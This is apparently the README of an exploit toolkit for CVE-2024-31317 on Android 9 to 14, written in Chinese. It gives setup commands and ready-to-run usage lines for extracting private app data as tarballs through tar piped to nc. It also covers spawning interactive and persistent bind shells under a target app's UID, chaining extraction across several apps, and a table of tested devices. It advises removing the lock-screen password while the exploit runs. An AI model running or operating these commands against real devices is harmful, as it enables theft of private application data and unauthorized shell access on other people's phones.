这是一个利用CVE-2024-31317通过ADB提取私有应用数据或使用应用UID生成Shell的工具包。该漏洞影响安全补丁级别为2024-06-01或更低的Android 9至14版本。下方可找到已测试设备支持矩阵。
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
将 export 行添加到 ~/.bashrc(或等效文件)以持久化。
./setup.sh
# 构建并安装运营商APK(从源码自动构建)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# 提取应用数据目录
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
利用程序会在首次运行时从 Hijack.java 和 AndroidManifest.xml 构建所有内容。
python3 cve_2024_31317.py [flags] [package]
# 提取
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# 检查设备是否受影响
python3 cve_2024_31317.py -d DEVICE --check-vuln
# 交互式绑定Shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# 在7777端口上持久Shell
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# 多应用链式提取
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# 仅恢复(修复启动循环)
python3 cve_2024_31317.py -d DEVICE --recover
所有内容均在运行时从源码构建。构建流水线使用 javac(JDK 17+)、d8、aapt、zipalign 和 Android SDK 中的 apksigner。
如果设备设置了锁屏密码,则启动后处于BFU(首次解锁前)状态。利用程序会轮询 sys.user.0.ce_available 最多5分钟,直到您解锁。建议在运行利用程序期间移除锁屏密码。
† 三星One UI特有:ZNJECT注入成功且 -E 提取有效,但 toybox nc ServerSocket绑定Shell从未打开。需要进一步研究以找出问题的根本原因。
载荷保留在 hidden_api_blacklist_exemptions 中可能导致下次启动时发生启动循环。运行 --recover 以重置:
python3 cve_2024_31317.py -d DEVICE --recover
| 标志 | 描述 |
|---|
-E | 通过子进程 tar | nc 提取应用数据(在父进程被杀后仍存活) |
-i | 交互式绑定Shell REPL |
-S PORT | 持久Shell(FIFO单端口协议) |
--recover | 重置设置,修复启动挂起 / Zygote降级 |
--setup | 仅构建并安装运营商APK(不注入) |
--list-apps | 列出所有已安装包及其UID和系统/用户类型 |
--check-vuln | 检查设备是否受CVE-2024-31317影响并退出 |
| 标志 | 描述 |
|---|
-o file.tar | 提取tarball的输出路径 |
-y / --yes | 跳过确认提示 |
--retries N | 每个目标的最大重试次数(默认3) |
--chain-targets "pkg1,pkg2" | 在单次会话中提取多个应用 |
--chain-file file.json | 同上,但从JSON文件读取 |
--reboot-after | 提取后重启(恢复Zygote) |
--reboot-every N | 每N个链式目标后重启 |
--cold | 跳过预热;为下一次应用启动存储载荷 |
--port PORT | 绑定Shell端口(默认8888) |
-d SERIAL | 指定特定设备(当有多个设备连接时) |
--rebuild | 强制重建运营商APK |
| 设备 | Android | API | 补丁 | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | 评分 |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (模拟器) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |